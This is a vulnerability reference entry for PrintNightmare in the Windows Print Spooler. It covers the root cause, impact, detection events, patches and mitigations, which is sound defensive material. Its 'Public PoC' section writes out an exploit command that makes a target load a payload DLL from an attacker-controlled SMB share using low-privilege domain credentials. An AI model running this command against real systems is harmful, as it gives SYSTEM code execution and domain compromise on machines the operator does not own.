PrintNightmare

aka Windows Print Spooler RCE

Product: Microsoft Windows Print Spooler
CVE: CVE-2021-34527 CVE-2021-1675
Disclosed: 2021-07-01
CVSS: 8.8
Auth: requires auth / interaction
CISA KEV: yes
Affected: All supported Windows client and server versions running the Print Spooler service, including domain controllers.
Fixed: Out-of-band update KB5004945 (6 July 2021) plus later Point and Print hardening (August 2021, KB5005652).

Summary

A bug in the Windows Print Spooler that let any authenticated domain user make a remote machine load an arbitrary DLL as SYSTEM. A PoC leaked after researchers mistook it for the already-patched CVE-2021-1675, and domain controllers (which run the spooler by default) became an easy target.

Root cause

The RpcAddPrinterDriverEx (MS-RPRN) and RpcAsyncAddPrinterDriver (MS-PAR) calls did not properly enforce the SeLoadDriverPrivilege check when the APD_INSTALL_WARNED_DRIVER flag was set. A low-privileged user could therefore point the spooler at a 'driver' DLL on an attacker-controlled UNC share, which spoolsv.exe copied and loaded as SYSTEM.

Impact

Any domain user gets remote SYSTEM code execution on spooler-enabled hosts, including domain controllers, which means full domain compromise.

Public PoC

# exposure check
rpcdump.py @10.0.0.10 | egrep 'MS-RPRN|MS-PAR'

# trigger driver install as a low-priv domain user
# (payload DLL hosted on an attacker-controlled SMB share)
./CVE-2021-1675.py corp.local/lowpriv:'Passw0rd'@10.0.0.10 '\\10.0.0.1\share\payload.dll'

Source: cube0x0 - CVE-2021-1675 (impacket-based)

Detection

Look for Event ID 316/808 in Microsoft-Windows-PrintService logs and new DLLs written under C:\Windows\System32\spool\drivers\x64\3\. impacket rpcdump.py @host | grep -E 'MS-RPRN|MS-PAR' shows exposure.

Mitigation

Patch and set RestrictDriverInstallationToAdministrators=1. Disable the Print Spooler service on domain controllers and servers that do not print.